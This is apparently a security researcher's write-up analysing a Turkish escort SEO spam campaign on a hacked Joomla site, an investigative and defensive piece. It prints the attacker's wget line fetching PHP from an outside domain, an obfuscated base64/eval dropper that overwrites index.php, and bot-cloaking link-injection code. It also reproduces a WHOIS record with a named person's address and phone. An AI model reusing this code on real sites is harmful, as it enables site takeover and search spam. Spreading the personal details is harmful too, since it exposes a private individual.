A Quick Look at Turkish Escort Spam

This write-up will take a look at an interesting SEO spam campaign that recently came to my attention. Turkish escorts are apparently big business and I had the opportunity to dig a bit into the makings of a malicious Turkish escort spam campaign.

It began with a malicious PHP file, /images/2ndex.php, likely uploaded to the victim site. It contained, along with an uploader, a line with a system wget for another PHP file located at a Luxembourg domain, http://www.inmediasres [dot] lu/tmp/sym/weba1.php.

```
1 <?php if(isset($_GET["ec"])){echo"<font color=#FFFFFF>[uname]".php_un
2 <?php system('wget http://www.inmediasres.lu/tmp/sym/webal.php'); ?>
```

System wget

weba1.php wrote the following FOPO encoded PHP to index.php on the infected site. Note *dizin* and *dosya* mean directory and file respectively in Turkish.

```
$dizin=$ SERVER[DOCUMENT ROOT].'/';
   $dosya="/index.php";
   if (!file exists ("$dizin/$dosya") ) {
   touch ($dosya);
   $baglan=@fopen ("$dizin/$dosya",'w');
   if (!$baglan) {
  echo "dosyayi yazamadim";
  exit();
   if (fputs ($baglan,'<?php
Obfuscation provided by FOPO - Free Online PHP Obfuscator: http://www.fopo.com.ar/
This code was created on Thursday, April 28th, 2016 at 21:43 UTC from IP 217.170.192.72 (no)
Checksum: 315ca48d666466f3823bca557a48898e33440294
$q9c09a95="\x62\141\x73\x65\x36\x34\137\144\x65\143\x6f\144\145";@eval($q9c09a95(
Ly90c3RXTy9MMXNQZ0c30GVrNk1Fck82S3AwaVdpUzBvY1RkTGRsMjBjVFZ0TUpNWVBUMEpEZ2I0NTk4
dHZ3MVhl0GJ1dWhoMlR5c3JLTWVlM1ZLYkF6THJXYjRKYzR3V0ovM3k5Q0o0dkxSVERJb0hYY09sc2kzY
VRLLytVaj09IikpKSk7"));
?>') ){
   echo "veritabanina bilgi girisi yapildi;";
   echo "veritabannina bilgi girisi yapilamadi;";
   fclose($baglan);
```

File hacker


The FOPO code decoded to a modified Joomla! index.php file with an interesting bit at the end, here beautified.

```
define('_JEXEC', 1);
    define('JPATH_BASE', dirname(_FILE__));
define('DS', DIRECTORY_SEPARATOR);
    require_once (JPATH_BASE . DS . 'includes' . DS . 'defines.php');
    require_once (JPATH_BASE . DS . 'includes' . DS . 'framework.php');
    JDEBUG ? $_PROFILER->mark('afterLoad') : null;
10
    $mainframe = & JFactory::getApplication('site');
    $mainframe->initialise();
    JPluginHelper::importPlugin('system');
    JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
    $mainframe->triggerEvent('onAfterInitialise');
    $mainframe->route();
    $Itemid = JRequest::getInt('Itemid');
    $mainframe->authorize($Itemid);
   JDEBUG ? $_PROFILER->mark('afterRoute') : null;
    $mainframe->triggerEvent('onAfterRoute');
    $option = JRequest::getCmd('option');
20
21
22
    $mainframe->dispatch($option);
    JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
    $mainframe->triggerEvent('onAfterDispatch');
24
25
    $mainframe->render();
    JDEBUG ? $_PROFILER->mark('afterRender') : null;
    $mainframe->triggerEvent('onAfterRender');
26
27
28
    echo JResponse::toString($mainframe->getCfg('gzip'));
29
    function isBot()
30 ▼
        $botAgents = "/google|hakia|msn|yahoo|altavista|crawler|findlinks|bing|Cuil|Excite|Go.com|HotBot|Al
        $agent = $ SERVER['HTTP_USER_AGENT'];
32 ▼
        if (preg_match($botAgents, $agent)) return true;
        else return false;
    }
    if (isBot()) {
37 ▼
38
        echo @file_get_contents(base64_decode("aHR0cDovL3d3dy5pbGVyaWdlbC5jb20vd2Vic2l0Z55waHA/cGFnZT02"));
39
    else {
```

Injecting links

The interesting bit includes search engine bot detection, which triggers the injection of a file_get_contents() of a base64 encoded URL. The base64 decoded to http://www.ilerigel [dot] com/website.php?page=6, and the page, when loaded, injects a hidden paragraph of Turkish escort links.


Changing page=6 to page=7 yielded similar and more voluminous results.



Page=7

After a smidge of URL manipulation and a hint of cURL, all of the escort links found were harvested. View the links at https://git.io/vKtua.

I decided to dig a little deeper. The Luxembourg domain seemed to be hacked as there was a sign of a sym link, a common malware tactic, along with a web-based file manager, and the site runs an older version of Joomla!, 1.7. Google also shows escort spam in search results for the domain.



Malicious files

6 <meta name="generator" content="Joomla! 1.7 - Open Source Content Management" />
7 <title>In Medias Res - Administration</title>

Joomla! 1.7

Contact - Home

www.inmediasres.lu/index.php/en/contact ▼

GSM: (+352) 621 643 188. adiyaman escort ankara escort antalya escort escort izmir umraniye elektrikci bursa escort canakkale escort erzurum escort eskisehir ...

Search results

llerigel [dot] com however did not seem compromised. The links seemed purposefully hosted and the site itself offers SEO services: Backlink SEO'da Uzman, or Backlink SEO Expert.



llerigel [dot] com

The strongest indicator that ilerigel [dot] com is purposefully hosting the malicious links is the admin email address from the domain's WHOIS record, admin@ankaratrescort [dot] com.

```
Admin Name: MELIH EKIN
Admin Organization: MELIH EKIN CID0662
Admin Street: 100 yil lisesli caddesi sisli
Admin City: ISTANBUL
Admin State/Province:
Admin Postal Code: 196343
Admin Country: TR
Admin Phone: +90.540525658
Admin Phone Ext:
Admin Fax: +90.00000
Admin Fax Ext:
Admin Email: admin@ankaratrescort.com
Registry Tech ID:
Tech Name: MELIH EKIN
Tech Organization: MELIH EKIN CID0662
Tech Street: 100 yil lisesli caddesi sisli
```

admin@ankaratrescort [dot] com

A few simple searches led to the possible owner of ilerigel [dot] com who seems to have a proclivity for 'make money' methods, hacking, and apparently Mercedes and firearms. At this point I decided to conclude the analysis. Here are some screenshots of what was found during the investigation.





EcHoLL @CodersEcHoLL · 28 Sep 2012

Best week ever! I earned \$304.48 just taking surveys in past week :)))

LOOK >> facebook.com/449552105087701



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EcHoLL @CodersEcHoLL · 27 Sep 2012

Sickass week! Made \$354.94 just taking surveys so far this week :)

LOOK >> facebook.com/364754880261468



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EcHoLL @CodersEcHoLL · 29 Jul 2012

Quick and Easy Way of Making Good Money online
hottubbuyingguide.com/vt/6/



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EcHoLL @CodersEcHoLL · 13 Jul 2012

Quick and Easy Way of Making Good Money online
powerfulbusinessopportunity.ru/?s=micro







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EcHoLL @CodersEcHoLL · 11 Jul 2012

Home Business - Apply Today, Start Tomorrow!

powerfulbusinessopportunity.ru/?s=micro







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Easiest way to get started making money homebusinessnews.ru /?s=micro

